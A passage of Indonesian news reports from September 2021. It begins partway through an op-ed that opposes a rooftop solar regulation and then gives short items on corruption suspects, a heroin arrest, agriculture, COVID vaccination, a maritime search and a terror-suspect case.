diketahui, Kementrian ESDM (KESDM) telah menggagas revisi Permen No.49/2018 sejak awal tahun 2021. Guna memperoleh persetujuan Presiden Jokowi dan sejalan dengan perintah Perpres No.68/2021, KESDM telah mengirim naskah revisi Permen kepada Kementrian Hukum dan Ham (Kemenkumham) pada Juli/Agustus 2021 untuk proses harmonisasi. Sebaliknya cukup banyak kalangan, termasuk IRESS, keberatan atas usul revisi tersebut. Kami menilai pembahasan revisi Permen belum melibatkan seluruh stake holders terkait. Kementerian ESDM cenderung hanya mengakomodasi kepentingan kalangan tertentu. Sehingga, Kementrian ESDM gagal memenuhi syarat pembentukan peraturan sesuai UU No.12 Tahun 2011 tentang Pembentukan Peraturan Perundang-undangan. Oleh sebab itu naskah revisi belum layak untuk ditetapkan sebagai peraturan, terutama terkait perubahan tarif ekspor-impor listrik antara pelanggan PLTS Atap dengan PLN dari 65% menjadi 100%. Tanggapan serta keberatan berbagai kalangan dan pakar telah diungkap kepada publik dan media, termasuk dalam bentuk surat terbuka dan tertutup kepada Presiden Jokowi yang dikirim antara akhir Agustus hingga awal September 2021. Pada prinsipnya tanggapan dan keberatan mendukung perluasan penggunaan EBT dan PLTS Atap, namun keberatan dengan perubahan tarif ekspor listrik PLTS Atap menjadi 100%. Perubahan tersebut dinilai tidak adil, merugikan negara/BUMN, memberatkan APBN dan menambah beban pelanggan listrik. Lebih lanjut, guna menanggapi Siaran Pers KESDM No.303.Pers/04/SJI/2021 pada 2 September 2021, secara khusus IRESS menerbitkan Siaran Pers tertanggal 9 September 2021. Dalam hal ini IRESS mengungkap KESDM cenderung tendensius, menyembunyikan fakta, menggiring opini bahwa PLN, APBN dan pelanggan tidak dirugikan. Padahal perhitungan pakar-pakar energi menunjukkan: • PLN dirugikan Rp 2,15 triliun setiap 1 GW pasokan PLTS Atap dan menjadi Rp 7,74 triliun jika pasokan naik menjadi 3,6 GW. KESDM menyebut penjualan PLN hanya turun 0,1%; • KESDM menyebut penghematan bahan bakar cukup besar Rp 7,74 triliun. Sedang hitungan pakar hanya Rp 1,92 triliun. Dalam hal ini KESDM sengaja berasumsi bahan bakar yang digunakan gas, padahal menurut PLN, bahan bakar yang dipakai mayoritas batubara; • Menurut KESDM BPP hanya naik Rp 1,14/kWh. Sedang menurut pakar naik Rp 5,10/kWh. Perbedaan terjadi sebab KESDM “luput” menghitung biaya operasi pembangkit yang harus tetap stand-by dan adanya sarana yang harus disiapkan PLN mengatasi intermitten; • KESDM menyatakan biaya subsidi dan kompensasi naik Rp 0,319 triliun. Padahal menurut pakar subsidi naik Rp 1,08 triliun/tahun. Hal ini menjadi tambahan beban biaya bagi pelanggan non PLTS Atap, namun menjadi keuntungan bagi pengguna PLTS Atap. Sebelum memutuskan revisi Permen ESDM No.49/2018, seluruh stake holders kelistrikan nasional, terutama para pakar energi dan PLN sebagai BUMN listrik nasional sesuai Pasal 33 UUD 1954 harus dilibatkan. IRESS menilai hal ini telah gagal dilaksanakan oleh KESDM, yang tampak cenderung menggunakan pendekatan kekuasaan. Karena itu, IRESS kembali meminta agar Presiden Jokowi menolak usulan revisi Permen No.49/2018 dari KESDM. Selain itu, IRESS menuntut agar aparat penegak hukum, termasuk KPK, segera mengusut oknum-oknum pelaku sumber berita bohong tentang “Permen ESDM No.26/2021”. Presiden Jokowi harus segera mengusut dan menjatuhkan sanksi hukum jika ada pejabat negara yang terlibat. *) Direktur Eksekutif Indonesian Resources Studies, IRESS.

Pemerintah Kota Tangerang Raih Penghargaan WTP Sejak 2011

Tangerang, FNN - Pemerintah Kota Tangerang mendapatkan penghargaan dari Kementerian Keuangan atas diraihnya opini Wajar Tanpa Pengecualian (WTP) lebih dari 10 kali berturut-turut untuk laporan keuangan sejak tahun 2011 hingga 2020. Penghargaan tersebut disampaikan dalam acara Rakernas Akuntansi dan Pelaporan Keuangan Pemerintahan Tahun 2021 yang dibuka oleh Menteri Keuangan RI Sri Mulyani. Wali Kota Tangerang, Arief R. Wismansyah hadir secara daring dalam acara yang berlangsung Selasa, 14 September 2021. Wali Kota Arief dalam keterangannya Selasa (14/9) mengatakan, penghargaan yang diberikan oleh Kementerian Keuangan tersebut akan semakin menambah semangat aparatur Pemkot Tangerang dalam menjalankan roda pemerintahan dengan menjunjung tinggi asas transparansi keuangan daerah. "Tentunya pengelolaan keuangan harus semakin ditingkatkan serta pelayanan kepada masyarakat juga harus semakin baik," kata Wali Kota Arief dalam acara yang mengusung tema "Bangkitkan Ekonomi, Pulihkan Negeri, Bersama Hadapi Pandemi". Dengan penghargaan tersebu, Pemkot Tangerang harus semakin optimal dalam urusan pengelolaan keuangan daerah walaupun di tahun 2021 ini telah menerima sebanyak 14 kali WTP dari Badan Pemeriksa Keuangan (BPK). "Yang penting itu bukan jumlahnya, tetapi bagaimana Pemkot bisa maksimal dalam mengelola keuangan daerah," ujarnya, sebagaimana dikutip dari Antara. Menteri Keuangan Sri Mulyani menyampaikan penghargaan dan terima kasih kepada seluruh lembaga, kementerian maupun pemerintah daerah yang terus menjaga, mengelola keuangan negara dan membangun tata kelola negara. "Karena dana yang dikelola adalah dana publik," kata Menkeu Sri Mulyani. (MD).

Taliban Bantah Wakil PM Afghaninstan Tewas Dalam Baku Tembak

Kabul, FNN - Pemerintah Taliban, Afghanistan membantah seorang pejabat tinggi mereka telah tewas dalam baku tembak dengan musuh. Kabar tersebut, menyusul desas-desus adanya perpecahan internal dalam kelompok pejuang yang baru sebulan menguasai Kabul itu. Juru bicara Taliban, Sulail Shaheen, mengatakan Mullah Abdul Ghani Baradar, mantan kepala kantor politik Taliban yang diangkat menjadi wakil perdana menteri pekan lalu, merilis pesan suara yang membantah klaim, Baradar telah tewas atau terluka dalam sebuah bentrokan. "Dia mengatakan itu bohong dan sama sekali tidak berdasar," kata Shaheen dalam sebuah cuitan di Twitter. Taliban juga merilis rekaman video yang katanya memperlihatkan Baradar dalam pertemuan di kota selatan Kandahar. Reuters belum memverifikasi rekaman tersebut. Bantahan itu muncul setelah desas-desus yang beredar dalam beberapa hari terakhir menyebutkan para pendukung Baradar bentrok dengan pendukung Sirajuddin Haqqani. Haqqani adalah kepala jaringan Haqqani yang berbasis di dekat perbatasan Afghanistan-Pakistan. Dia dituduh bertanggung jawab atas beberapa serangan bunuh diri terburuk selama perang. Rumor itu muncul pada saat spekulasi adanya persaingan antara komandan militer seperti Haqqani dan para pemimpin dari kantor politik Taliban di Doha seperti Baradar. Ia memimpin upaya diplomatik dalam usaha mencapai penyelesaian damai dengan AS. Taliban telah berulang kali membantah spekulasi tentang adanya perpecahan internal. Baradar, yang pernah diisukan akan menjadi kepala pemerintahan Taliban, tidak terlihat di depan publik selama beberapa waktu. Dia juga tidak termasuk dalam delegasi menteri yang bertemu dengan Menteri Luar Negeri Qatar, Sheikh Mohammed bin Abdulrahman Al-Thani di Kabul pada Ahad lalu. Pemimpin tertinggi Mullah Haibatullah Akhundzada juga tidak terlihat oleh publik sejak Taliban merebut Kabul pada 15 Agustus 2021. Hanya saja, ia mengeluarkan pernyataan ketika pemerintahan baru dibentuk pekan lalu. Spekulasi tentang para pemimpin Taliban tersebut disulut oleh situasi seputar kematian pendiri kelompok itu, Mullah Omar, yang baru diumumkan pada 2015 atau dua tahun setelah kematiannya. (MD).

Kejaksaan Agung Tetapkan Tiga Tersangka Baru Asabri

Jakarta, FNN - Penyidik Jaksa Agung Muda Tindak Pidana Khusus (Jampidsus) Kejaksaan Agung menentapkan tiga tersangka baru dalam kasus dugaan korupsi pengelolaan keuangan dan dana investasi pada PT Asabri (Persero) periode 2012—2019, Selasa, 14 September 2021. Kepala Pusat Penerangan Hukum (Kapuspenkum) Kejaksaan Agung. Leonard Eben Ezer Simanjuntak dalam keterangan tertulisnya menyebutkan, tiga tersangka baru itu berinisial ESS alias THS, B, dan RARL. Tersanka ESS mengacu pada Edward Seky Soeryadjaya alias THS selaku wiraswasta mantan Direktur Ortos Holding Ltd. Inisial B merujuk kepada Bety Halim selaku mantan Komisaris Utama PT Energi Millenium Sekuritas yang sebelumnya bernama PT Milenium Danatama Sekuritas. Tersangka RARL mengacu kepada Rennier Abdul Rachman Latief selaku Komisaris PT Sekawan Inti Pratama. Ketiga tersangka, kata Leonard, ada yang berstatus terpidana dan terdakwa dalam kasus atau perkara lainnya dan telah dilakukan penahanan di lembaga pemasyarakatan serta rumah tahanan negara. "Tiga orang tersangka tersebut telah dilakukan penahanan dalam perkara lainnya," kata Leonard, sebagaimana dikutip dari Antara. Ia menjelaskan, tersangka ESS alias THS berstatus terpidana kasus Dana Pensiun Pertamina. Ia sedang ditahan di Lembaga Pemasyarakatan Kelas II A, Salemba, Jakarta Pusat. Tersangka B, berstatus terpidana kasus Dana Pensiun Pertamina yang kini mendekam di dalam Lembaga Pemasyarakatan Perempuan Kelas II A, Tanggerang. Tersangka RARL berstatus terdakwa perkara Danareksa, ditahan di Rumah Tahanan Negara Salemba Cabang Kejaksaan Agung. Perbuatan ketiga tersangka diancam pidana dengan Pasal 2 Ayat (1) juncto Pasal 18 UU Pemberantasan Tipikor jo. Pasal 55 Ayat (1) ke-1 KUHP subsider Pasal 3 jo. Pasal 18 UU Pemberantasan Tipikor jo. Pasal 55 Ayat (1) ke-1 KUHP. Sebelumnya, dalam surat dakwaan jaksa penuntut umum (JPU) menyebutkan 15 orang telah menerima kekayaan dalam kasus dugaan korupsi pengelolaan keuangan dan dana investasi pada PT Asuransi Sosial Angkatan Bersenjata Republik Indonesia (Asabri). Delapan di antaranya adalah terdakwa perkara yang merugikan keuangan negara sebesar Rp 22,78 triliun. Satu orang merupakan tersangka yang penuntutannya dihentikan karena meninggal dunia, sedangkan enam orang lainnya yang belum ditetapkan sebagai tersangka. Keenam orang tersebut, yakni Danny Boestami, Gustipar Pinayungan, Edwar Seky Soeryadjaya, Betty Halim, Lim Angie Christina, dan Rennier Abdul Rahman Latief. Kini tiga dari enam orang tersebut telah ditetapkan sebagai tersangka dalam perkara megakorupsi Asabri. Setelah pelimpahan berkas sembilan tersangka Asabri ke jaksa penuntut, dilakukan persidangan di Pengadilan Tindak Pidana Korupsi Jakarta, Kamis (26/8), penyidik Jampdisus Kejaksaan Agung RI menetapkan satu tersangka baru bernama Teddy Tjokrosaputro. Selain tersangka perorangan, penyidik Kejaksaan Agung juga menetapkan 10 manajer investasi sebagai tersangka korporasi dalam perkara Asabri. Kesepuluh tersangka manajer investasi tersebut, yakni PT IIM, PT MCM, PT PAAM, PT RAM, PT VAM, PT ARK, PT. OMI, PT MAM, PT AAM, dan PT CC. (MD).

Polrestabes Medan Ungkap Peredaran Heroin Jaringan Internasional

Medan, FNN - Kepolisian Resor Kota Besar (Polrestabes) Medan, Sumatera Utara mengungkap peredaran narkoba jenis heroin jaringan internasional Malaysia-Aceh-Medan, dengan meringkus dua orang tersangka. "Identitas dua tersangka yang diamankan masing-masing berinisial ANS dan EN," kata Kapolrestabes Medan Kombes Pol Riko Sunarko saat ekspose kasus, di Mapolrestabes Medan, Selasa. Ia menjelaskan bahwa pengungkapan peredaran heroin ini berawal dari informasi akan adanya transaksi narkoba di wilayah Kota Medan dari Provinsi Aceh. Kemudian, petugas melakukan penyelidikan dan menemukan keberadaan para tersangka di Jalan Cemara, saat hendak melakukan transaksi narkoba. "Namun, sebelum dilakukan penangkapan, kedua tersangka berhasil melarikan diri," katanya pula. Selanjutnya, petugas melakukan pelacakan dan berhasil mengamankan kedua tersangka di sebuah SPBU yang tak jauh dari lokasi awal transaksi. Dari para tersangka, petugas turut menyita barang bukti narkoba jenis heroin seberat 3,1 kilogram, dua unit sepeda motor dan handphone. "Dari pengakuan mereka, barang ini didapat dari Malaysia melalui Aceh yang kemudian akan dipasarkan di Medan. Jadi pasarnya di Kota Medan," ujarnya pula. Dia menyebut bahwa pihaknya masih akan melakukan pengembangan terkait kasus tersebut. (mth)

Pengamat: Padi Hibrida Mampu Tingkatkan Produksi Padi Lampung

Bandarlampung, FNN - Pengamat pertanian dari Universitas Lampung Prof. Dr. Ir. Irwan Sukri Banua, M.Si mengatakan adanya penggunaan padi hibrida oleh petani secara luas dapat memaksimalkan peningkatan produktivitas pertanian dan ketahanan pangan di Lampung. "Saat ini produktivitas pertanian Lampung terutama padi sawah sudah sangat baik, dimana pada tahun 2020 produksi padi Lampung sebesar 2,65 juta ton gabah kering giling," kata Irwan saat dihubungi di Bandarlampung, Selasa. Ia mengatakan produktivitas tinggi pertanian Lampung itu dapat ditingkatkan lebih maksimal, salah satunya dengan mengembangkan padi hibrida untuk digunakan oleh petani. "Produksi padi sawah kita bisa meningkat lagi kalau padi hibrida bisa digunakan secara luas, sebab padi ini memiliki sejumlah keunggulan salah satunya mampu berproduksi tinggi di tengah umur panen lebih cepat," kata dia yang juga Dekan Fakultas Pertanian Universitas Lampung. Dalam uji coba di beberapa tempat dengan menggunakan padi hibrida jenis Mapan 05, potensi produksi dapat mencapai 6 hingga 7 ton per hektare. "Petani bisa pakai hibrida ini sebab potensi saat uji coba beberapa waktu lalu di atas produksi padi unggul nasional. Produksi padi hibrida bisa mencapai 6 hingga 7 ton per hektare, namun untuk mencapai hasil maksimal itu perlu juga diperhatikan kondisi lahan yang ada," ujarnya. Selain perluasan pemanfaatan padi hibrida, untuk memaksimalkan produksi padi Lampung dapat dilakukan dengan menggunakan padi varietas unggul lokal serta memperluas pemanfaatan lahan rawa. "Lahan rawa memang diharapkan jadi penyangga pangan, lalu ada padi Ampai sebagai varietas unggul lokal yang produksinya cepat, mampu beradaptasi di lahan rawa. Semua bisa dimanfaatkan agar produksi padi Lampung terus meningkat bahkan dapat surplus beberapa tahun mendatang," katanya. Bila rata-rata produksi Lampung dapat menyamai rata-rata produksi nasional melalui pengembangan padi hibrida, padi varietas unggul lokal, dan perluasan pemanfaatan lahan rawa maka kesejahteraan petani pun dapat tercapai. "Ke depan kalau ekstensifikasi dan intensifikasi bisa dioptimalkan tentu surplus produksi akan luar biasa, ketahanan pangan, kesejahteraan petani terjaga. Untuk itu penelitian pengembangan varietas unggul lokal pun akan terus dilakukan untuk menunjang terbentuknya hal itu," ujarnya. (mth)

Selandia Baru Tingkatkan Vaksinasi COVID Saat Kasus Melandai

Washington, FNN - Perdana Menteri Jacinda Ardern pada Selasa meminta warga Selandia Baru untuk secepat mungkin menjalani vaksinasi, karena itu merupakan satu-satunya cara untuk mengalahkan penyebaran virus dan mencabut pembatasan di kota terbesar, Auckland. Selandia Baru mencatat 15 infeksi baru pada Selasa, turun dari 33 kasus pada hari sebelumnya. Namun sekitar 1,7 juta orang di Auckland masih berada dalam penguncian (lockdown) hingga pekan depan saat pemerintah berjuang membendung klaster varian Delta yang sangat menular. "Vaksin merupakan perangkat terbaik di kotak peralatan kita sekaligus tiket kita menuju kebebasan yang lebih besar," kata Ardern saat konferensi pers. 'Semakin banyak orang yang divaksin, maka semakin sedikit pembatasan yang Anda hadapi." Penguncian Auckland menutup sekolah, kantor, dan ruang publik, dan masyarakat hanya diizinkan keluar rumah untuk berolahraga atau membeli kebutuhan sehari-hari. Selandia Baru sebagian besar terbebas dari virus selama berbulan-bulan sampai wabah Delta memaksa penguncian darurat pada 17 Agustus. Penguncian dan penutupan perbatasan internasional sejak Maret 2020 berpengaruh dalam menekan laju infeksi COVID-19 di negara itu. Namun, upaya vaksinasi yang lamban menuai kritik terhadap Ardern karena baru 34 persen dari 5,1 juta penduduk Selandia Baru yang sudah menerima vaksinasi lengkap. Untuk meningkatkan program vaksinasi, Selandia Baru memboyong vaksin COVID-19 Pfizer-BioNTech dari Spanyol dan Denmark. "Tidak ada yang mencegah kami di Auckland terkait vaksin," lanjut Ardern. "Ada kapasitas pemberian 220.000 dosis vaksin di wilayah tersebut pekan ini." Menurut Ardern, bus vaksinasi mulai beroperasi pekan ini untuk menjangkau masyarakat yang lebih banyak (mth).

Padang Berdayakan Nelayan Kecil untuk Tangkap Tuna

Padang, FNN - Pemerintah Kota Padang memberdayakan nelayan kecil di daerah untuk menangkap tuna sebagai upaya meningkatkan kesejahteraan nelayan. "Biasanya penangkapan tuna dilakukan menggunakan kapal berukuran besar, namun kami mendorong nelayan memodifikasi kapal jenis tonda untuk bisa dipakai untuk menangkap tuna," kata Kepala Dinas Perikanan dan Pangan Kota Padang Guswardi di Padang, Selasa. Ia menyampaikan saat ini tengah membina kelompok nelayan kecil KUB Tuna Mandiri beranggotakan 20 orang yang sebelumnya menangkap ikan menggunakan kapal tonda dengan kapasitas di bawah 20 GT. "Kemudian kapal-kapal tersebut dimodifikasi bersama pengusaha pemilik kapal menjadi kapal penangkap tuna, saat ini sudah ada 10 kapal dan akan ditambah jadi 20 kapal dan target kami 50 kapal," kata dia. Menurut dia, minat nelayan untuk menangkap tuna cukup besar apalagi nilai jualnya cukup tinggi dan merupakan produk ekspor. "Dulu penangkapan tuna didominasi oleh nelayan menggunakan kapal besar, namun saat ini nelayan kecil sudah mulai melakukannya," ujar dia. Ia menyebutkan hasil tangkapan nelayan kecil tersebut untuk 10 hari melaut bisa mendapatkan 1,5 ton hingga 2 ton. "Per ekor tuna bisa dapat yang beratnya sampai 50 kilogram dengan nilai jual Rp70 ribu per kilogram. ini terobosan yang bagus apalagi potensi tuna di perairan antara Padang dengan Mentawai bisa mencapai 300 ribu ton per tahun," kata dia. Selain itu saat ini di Bungus Padang beroperasi PT Dempo yang mengolah tuna untuk diekspor dan juga banyak pengusaha ikan lainnya yang siap menampung hasil tangkapan. "Kalau untuk pemasaran tidak ada masalah yang ada malah kekurangan stok, kebutuhan tuna tinggi, jika tidak memenuhi syarat ekspor biasanya dipasarkan langsung di Padang," ujarnya. Guswardi menyampaikan dengan adanya program ini setidaknya bisa mengangkat taraf hidup nelayan sehingga menjadi lebih baik. "Kalau soal dampak pandemi sebenarnya sektor perikanan tidak begitu berpengaruh karena nelayan tetap bisa melaut dengan aman selama ini dan belum terdengar ada yang kena COVID-19 saat melaut," kata dia. Akan tetapi yang menjadi persoalan adalah kemauan nelayan untuk membentuk kelompok karena selama ini bantuan dari pemerintah baik pusat atau pun daerah hanya bisa disalurkan lewat kelompok nelayan. Ia menyebutkan saat ini di Padang terdapat 150 kelompok nelayan dan itu baru separuh dan selebihnya nelayan belum mau bergabung dalam kelompok. (mth)

KASAL Ajak Anak Muda NTT Dukung Visi Indonesia Poros Maritim Dunia

Jakarta, FNN - Kepala Staf TNI Angkatan Laut (Kasal) Laksamana TNI Yudo Margono mengajak anak muda di Nusa Tenggara Timur (NTT) turut mendukung Visi Indonesia Sebagai Poros Maritim Dunia. Dukungan itu diperlukan karena anak muda merupakan para agen perubahan yang jadi aset bangsa untuk membawa Indonesia ke arah yang lebih baik ke depan, kata Laksamana TNI Yudo Margono saat berbincang bersama tokoh pemuda dan organisasi masyarakat di Kota Kupang, NTT, Selasa. Kasal, sebagaimana dikutip dari keterangan tertulisnya yang diterima di Jakarta, menyebut anak muda di NTT punya kesempatan memainkan peran lebih luas demi mewujudkan Visi Indonesia Sebagai Poros Maritim Dunia. Alasannya, NTT berada di lokasi yang strategis, yaitu berbatasan dengan Timor Leste dan Australia, serta diapit Samudra Hindia, Laut Timor, Laut Flores, dan Laut Sawu. Potensi maritim di NTT begitu besar karena ada setidaknya 1.192 pulau dan 5.700 kilometer garis pantai, kata Kepala Staf TNI AL kepada para tokoh pemuda. “Para pemuda diharapkan mampu melihat hal tersebut dan mendukung Indonesia Sebagai Poros Maritim Dunia,” kata Yudo Margono. Perwakilan kelompok anak muda yang berdialog dengan Kepala Staf TNI AL di Kupang, di antaranya Ketua DPD GMNI NTT Isto Haukilo, Ketua GP Ansor NTT Ajhar Jowe, Ketua PW Muhammadiyah NTT Suhardin Anas, Ketua DPD Ikatan Mahasiswa Muhammadiyah NTT Majid, Komda PMKRI Regio Timor Aris Lalu, Ketua GMKI Kupang Eduard Nautu, Ketua KAMMI Kupang Erwin, dan Pengurus GMKI Kupang Mikdon. Dalam pertemuan yang sama, Yudo meminta anak muda di NTT membantu pemerintah menanggulangi pandemi COVID-19. “Banyak hal yang dapat dilakukan rekan-rekan saat ini, di antaranya dengan menjadi contoh dalam pelaksanaan disiplin protokol kesehatan, membantu pelaksanaan percepatan vaksinasi, serta turut membantu pelaksanaan sosialisasi terkait penanganan dan pentingnya pelaksanaan 3M,” terang Kasal. 3M merupakan bagian dari protokol kesehatan untuk menekan risiko penularan COVID-19, yang terdiri atas kegiatan mencuci tangan, memakai masker, dan menjaga jarak dengan orang lain. Tidak hanya menjadi contoh bagi masyarakat dalam menjalankan protokol kesehatan, Kasal berharap anak muda di NTT membantu pemerintah mempercepat vaksinasi COVID-19. Ia mendorong anak muda untuk turut mengajak orang di sekitarnya guna divaksin sehingga rantai penyebaran COVID-19 di NTT dapat cepat terputus, kata Yudo Margono. (mth)

Tim SAR Belum Hentikan Pencarian 25 ABK KM Hentri

Ambon, FNN - Basarnas Ambon belum menghentikan pencarian 25 ABK kapal pencari cumi KM. Hentri yang terbakar pada 3 September 2021 di antara perairan Kepulauan Tanimbar Kei, Kabupaten Maluku Tenggara dengan perairan Kepulauan Yamdena, Kabupaten Kepulauan Tanimbar. "Sejak pagi hari tim SAR gabungan telah melakukan operasi SAR di hari ke-7 dengan menggunakan Kapal Negara (KN) SAR 235 Abimanyu," kata Kepala Kantor Pencarian dan Pertolongan Basarnas setempat, Mustari di Ambon, Selasa. Menurut dia, operasi SAR hari ke-7 dilanjutkan sesuai data SAR MAPS H.7 dimana pergerakan arus airnya memasuki Perairan Laut Banda. Pukul 11:15 WIT, KN SAR Abimanyu bertolak dari dermaga LIPI Ambon menuju LKK sesuai SAR MAPS H.7 guna melaksanakan operasi pencarian dan penyisiran pada koordinat 5 45.617 S, 127 14.402 E, 4 14.120 S, 127 18.402 E berjarak kurang lebih 42.55 NM dan menuju 209.50° arah Barat Daya Ambon. KN SAR Abimanyu membawa 16 kru berlayar menuju lokasi pencarian dalam kondisi cuaca berawan dengan arah angin timur menuju tenggara berkecepatan 4 - 10 knots dan tinggi gelombang rendah 0.50 – 1,25 meter. "Untuk rencana penutupan operasi SAR hari ke-7 masih belum dilakukan sebab harus ada langkah evaluasi pada sore hari," ujarnya. KM. Hentri yang merupakan kapal penangkap cumi berlayar dari Pelabuhan Muara Angke Jakarta pada tanggal 15 Agustus 2021 hendak menuju Merauke, Provinsi Papua. Namun, saat berada di perairan antara Kabupaten Maluku Tenggara dan Kabupaten Kepulauan Tanimbar, kapal dengan POB 32 orang tersebut dilaporkan mengalami musibah kebakaran pada pukul 05:00 WIT dinihari setelah dihantam gelombang setinggi 3 meter pada tanggal 3 September 2021. Dua dari 32 ABK dilaporkan meninggal dunia ketika kebakaran, sementara 30 ABK lainnya melompat ke laut dan belakangan baru diketahui ada lima orang yang ditemukan selamat dan dievakuasi ke Pulau Tanimbar Kei, Kabupaten Maluku Tenggara. Lima ABK yang selamat ini sempat terapung-apung di laut selama dua hari hingga akhirnya ditolong sebuah kapal pencari telur ikan terbang dan dievakuasi ke Pulau Tanimbar Kei, Kabupaten Maluku tanggal 7 September 2021. (mth)

Presiden Teken Perpres 82/2021 yang Mengatur Dana Abadi Pesantren

Jakarta, FNN - Presiden Joko Widodo menandatangani Peraturan Presiden Nomor 82 Tahun 2021 tentang Pendanaan Penyelenggaraan Pesantren yang di dalamnya mengatur mengenai dana abadi pesantren. "Pemerintah menyediakan dan mengelola dana abadi pesantren yang bersumber dan merupakan bagian dari dana abadi pendidikan sesuai dengan ketentuan peraturan perundang-undangan," bunyi Pasal 23 ayat (1) Perpres Nomor 82 Tahun 2021, sesuai salinan dari laman resmi Jaringan Dokumentasi dan Informasi Hukum Kementerian Sekretariat Negara, dipantau di Jakarta, Selasa. Pada Pasal 4 Perpres tersebut, dana abadi pesantren ditetapkan sebagai salah satu pendanaan penyelenggaraan pesantren. Di Bab III yang khusus menjelaskan dana abadi pesantren dijelaskan bahwa dana abadi pesantren digulirkan untuk menjamin keberlangsungan program pendidikan di pesantren bagi generasi berikutnya sebagai pertanggungjawaban antargenerasi. Pada Pasal 23 Ayat (3) Bab III Perpres tersebut diatur pengalokasian dana abadi pesantren yang merujuk pada hasil pengembangan dana abadi pendidikan. "Pemanfaatan dana abadi pesantren sebagaimana dimaksud pada ayat (3) digunakan untuk penyelenggaraan fungsi pendidikan pesantren," bunyi pasal 23 ayat (4) Perpres Nomor 82 Tahun 2021. Pemerintah melalui Perpres tersebut mendefinisikan dana abadi pesantren sebagai dana yang dialokasikan khusus untuk pesantren dan bersifat abadi untuk menjamin keberlangsungan pengembangan pendidikan pesantren yang bersumber dan merupakan bagian dari dana abadi pendidikan. Perpres Nomor 82 Tahun 2021 tentang Pendanaan Penyelenggaraan Pesantren ini ditandatangani Presiden Joko Widodo pada 2 September 2021. Wacana dana abadi pesantren mengemuka saat pembahasan antara pemerintah dan DPR RI mengenai Rancangan Undang-Undang Pesantren pada 2019. Dalam pembahasan RUU Pesantren tersebut sempat muncul perdebatan mengenai sumber dana abadi pesantren. Namun akhirnya, pemerintah dan DPR RI sepakat dana abadi pesantren dialokasikan dari dana abadi pendidikan karena pesantren merupakan bagian yang tak terpisahkan dari Sistem Pendidikan Nasional (Sisdiknas). Pada September 2019, DPR RI secara resmi mengesahkan Rancangan Undang-undang tentang Pesantren menjadi Undang-undang (UU). (mth)

Kasus Karyawan Kimia Farma, Kementerian BUMN Dukung Tindakan Densus 88

Jakarta, FNN - Kementerian BUMN sangat mendukung langkah-langkah aparat hukum untuk menyelesaikan kasus terkait penangkapan terduga teroris oleh Tim Detasemen Khusus (Densus) 88 Antiteror Polri di Bekasi yang diduga karyawan PT Kimia Farma Tbk. "Kami dari Kementerian BUMN sangat mendukung langkah-langkah yang dilakukan Densus 88 dan setiap langkah aparat hukum untuk menyelesaikan kasus terkait karyawan Kimia Farma. Dan kami juga sudah meminta kepada Kimia Farma untuk mendukung apapun yang dibutuhkan oleh aparat untuk mengetahui lebih detail atas permasalahan ini," ujar Staf Khusus III Menteri BUMN, Arya Sinulingga dalam keterangan resmi yang diterima di Jakarta, Selasa. Menurut Arya, terduga karyawan Kimia Farma yang ditangkap tersebut merupakan karyawan lama sehingga dapat diketahui bahwa hal tersebut bukan soal perekrutan karyawannya dan sama sekali tidak ada kaitannya dengan perekrutan karyawan, tetapi kemungkinan karyawan lama tersebut terpapar ideologi radikal. "Jadi kami soal rekrutmen karyawan BUMN terus memperbarui proses-prosesnya dan memang kita ketat terkait soal tersebut," kata Arya. Stafsus BUMN itu juga menambahkan saat ini secara internal BUMN sudah didorong betul dengan program nilai inti AKHLAK supaya bisa mengikis paham-paham radikal di Kimia Farma dan BUMN-BUMN lainnya. Di samping itu Kementerian BUMN juga menjalin kerjasama dengan Badan Nasional Penanggulangan Terorisme (BNPT) untuk melakukan langkah-langkah ideologisasi Pancasila di Kimia Farma maupun BUMN-BUMN lain pada umumnya. "Saya juga perlu sedikit menjawab mengenai isu-isu ada pemakaian dana corporate social responsibility (CSR) untuk radikalisasi dan sebagainya. Bisa kami pastikan sejak bapak Menteri BUMN Erick Thohir memimpin Kementerian BUMN, saat ini bapak Menteri BUMN sudah meminta kami membuat satu sistem untuk program CSR," kata Arya. Dia juga menambahkan bahwa dengan sistem ini, Kementerian BUMN dapat mengetahui di mana lokasi pemberian CSR dan untuk apa CSR tersebut diberikan. Jadi kalau untuk radikalisasi, kecil kemungkinannya. Dari sisi manajemen direksi juga melakukan kurasi ketat terhadap pemanfaatan CSR saat ini, karena BUMN memang sangat ketat untuk pemanfaatan CSR. "Saya juga mendapatkan informasi dari Kimia Farma bahwa karyawan yang merupakan terduga teroris itu tidak bisa mengakses dana CSR, jadi tidak ada yang namanya dana CSR digunakan untuk pemanfaatan radikalisme di Kimia Farma," kata Stafsus III Menteri BUMN Arya Sinulingga. Sebelumnya PT Kimia Farma menyatakan tidak mentoleransi terorisme dalam bentuk apa pun, termasuk di internal perusahaan sehingga mendukung aparat dalam memerangi tindakan tidak terpuji tersebut. Hal tersebut disampaikan menyusul adanya penangkapan terduga teroris oleh Tim Detasemen Khusus (Densus) 88 Antiteror Polri di Bekasi, diduga karyawan PT Kimia Farma. Setelah menerima informasi penangkapan terduga teroris kelompok Jamaah Islamiyah (JI) berinisial S yang ditangkap di Bekasi, Jawa Barat, Jumat (10/9), Kimia Farma melakukan penelusuran. Hasil penelusuran tersebut dipastikan S merupakan karyawan PT Kimia Farma. Direktur Utama PT Kimia Farma Tbk. Verdi Budidarmo dalam keterangan tertulis itu menegaskan bahwa untuk status karyawan yang ditangkap tersebut, saat ini sudah diskorsing dan pembebasan tugas sementara waktu selama menjalani pemeriksaan oleh pihak yang berwajib terhitung sejak 10 September 2021. Apabila karyawan tersebut terbukti bersalah secara hukum maka akan dikenakan sanksi pelanggaran berat sesuai peraturan perusahaan yang berlaku berupa pemutusan hubungan kerja (PHK) dengan tidak hormat dan otomatis sudah tidak menjadi bagian dari perusahaan. (mth)

Konflik Konstitusional Mengenai PPHN Munculkan Tanda Tanya

